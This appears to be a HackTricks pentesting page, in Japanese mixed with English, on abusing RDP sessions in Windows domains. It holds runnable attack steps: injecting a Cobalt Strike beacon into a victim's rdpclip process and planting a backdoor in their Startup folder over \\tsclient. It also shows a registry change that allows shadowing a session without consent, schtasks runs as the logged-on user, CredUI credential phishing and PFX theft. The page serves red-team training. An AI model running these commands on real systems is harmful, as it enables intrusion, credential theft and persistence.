RDP Sessions Abuse
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。
RDP Process Injection
もし外部グループがRDPアクセスを現在のドメイン内の任意のコンピュータに対して持っている場合、攻撃者はそのコンピュータを侵害してユーザーを待ち構えることができます。
そのユーザーがRDPでアクセスした後、攻撃者はそのユーザーのセッションにピボットして外部ドメインでその権限を悪用できます。
# Supposing the group "External Users" has RDP access in the current domain
## lets find where they could access
## The easiest way would be with bloodhound, but you could also run:
Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#or
Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName
# Then, compromise the listed machines, and wait til someone from the external domain logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
## From that beacon you can just run powerview modules interacting with the external domain as that user
Check other ways to steal sessions with other tools in this page.
RDPInception
ユーザーがRDP into a machineにアクセスし、その場所でattackerがwaitingしている場合、攻撃者はinject a beacon in the RDP session of the userことができ、RDPでアクセスしたときにvictim mounted his driveしていれば、attacker could access it。
この場合、statup folderにbackdoorを書き込むだけで、victimsのoriginal computerをcompromiseできます。
# Wait til someone logs in:
net logons
Logged on users at \\localhost:
EXT\super.admin
# With cobalt strike you could just inject a beacon inside of the RDP process
beacon> ps
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
...
4960 1012 rdpclip.exe x64 3 EXT\super.admin
beacon> inject 4960 x64 tcp-local
# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.
## \\tsclient\c is the C: drive on the origin machine of the RDP session
beacon> ls \\tsclient\c
Size Type Last Modified Name
---- ---- ------------- ----
dir 02/10/2021 04:11:30 $Recycle.Bin
dir 02/10/2021 03:23:44 Boot
dir 02/20/2021 10:15:23 Config.Msi
dir 10/18/2016 01:59:39 Documents and Settings
[...]
# Upload backdoor to startup folder
beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
beacon> upload C:\Payloads\pivot.exe
Shadow RDP
ホスト上であなたがlocal adminで、被害者がすでにactive RDP sessionを持っている場合、view/control that desktop without stealing the password or dumping LSASSことができるかもしれません。
これは以下に格納されているRemote Desktop Services shadowingポリシーによります:
HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
興味深い値:
0: 無効1:EnableInputNotify(制御、ユーザー承認が必要)2:EnableInputNoNotify(制御、ユーザー承認不要)3:EnableNoInputNotify(表示のみ、ユーザー承認が必要)4:EnableNoInputNoNotify(表示のみ、ユーザー承認不要)
:: Check the policy
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
:: Enable interaction without consent
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
:: Enumerate sessions and shadow the target one
quser /server:<HOST>
mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
これは、権限の高いユーザーがRDPで接続したままロック解除されたデスクトップ、KeePassセッション、MMCコンソール、ブラウザセッション、またはadmin shellを開いたままにしている場合に特に有用です。
ログオン中のユーザーとしてのスケジュールされたタスク
もしあなたがlocal adminでターゲットユーザーがcurrently logged onしている場合、Task Schedulerはパスワードなしでas that user without their passwordとしてコードを実行できます。
これにより、被害者の既存のログオンセッションが実行プリミティブになります:
schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
schtasks /run /S <HOST> /TN "Updater"
注意:
- ユーザーが ログオンしていない 場合、Windows は通常、そのユーザーとして実行されるタスクを作成するためにパスワードを要求します。
- ユーザーが ログオンしている 場合、タスクは既存のログオン コンテキストを再利用できます。
- これは、LSASS に触れることなく被害者のセッション内で GUI 操作を実行したりバイナリを起動したりする実用的な方法です。
被害者セッション内での CredUI プロンプトの悪用
被害者のインタラクティブデスクトップ内で実行できるようになると(たとえば Shadow RDP や そのユーザーとして実行されるスケジュールされたタスク を介して)、CredUI API を使って 本物の Windows 資格情報プロンプト を表示し、被害者が入力した資格情報を収集できます。
Relevant APIs:
CredUIPromptForWindowsCredentialsCredUnPackAuthenticationBuffer
典型的なフロー:
- 被害者のセッション内でバイナリを起動する。
- 現在のドメインのブランディングに一致するドメイン認証プロンプトを表示する。
- 返された認証バッファをアンパックする。
- 提供された資格情報を検証し、必要に応じて有効な資格情報が入力されるまでプロンプトを繰り返す。
これは、プロンプトが偽の HTML フォームではなく標準の Windows API によってレンダリングされるため、on-host phishing に有用です。
被害者コンテキストでの PFX 取得
同じ scheduled-task-as-user プリミティブを使用して、ログオン中の被害者としての証明書/PFX を要求できます。取得した証明書は後でそのユーザーとしての AD 認証 に使用でき、パスワードの窃取を完全に回避できます。
高レベルの流れ:
- 被害者がログオンしているホスト上で local admin を獲得する。
- スケジュールタスクを使用して被害者として登録/エクスポート処理を実行する。
- 生成された PFX をエクスポートする。
- PFX を PKINIT / 証明書ベースの AD 認証に使用する。
See the AD CS pages for follow-up abuse:
参考資料
- SensePost - From flat networks to locked up domains with tiering models
- Microsoft - Remote Desktop shadow
- NetExec - Shadow RDP plugin PR #465
- NetExec - schtask_as module
- NetExec - Request PFX via scheduled task PR #908
Tip
AWS Hackingを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。
HackTricksをサポート
- subscription plans を確認してください!
- 💬 Discord group、telegram group に参加し、X/Twitterで @hacktricks_live をフォローするか、LinkedIn page と YouTube channel を確認してください。
- HackTricks と HackTricks Cloud の github repos に PR を送信して hacking tricks を共有してください。


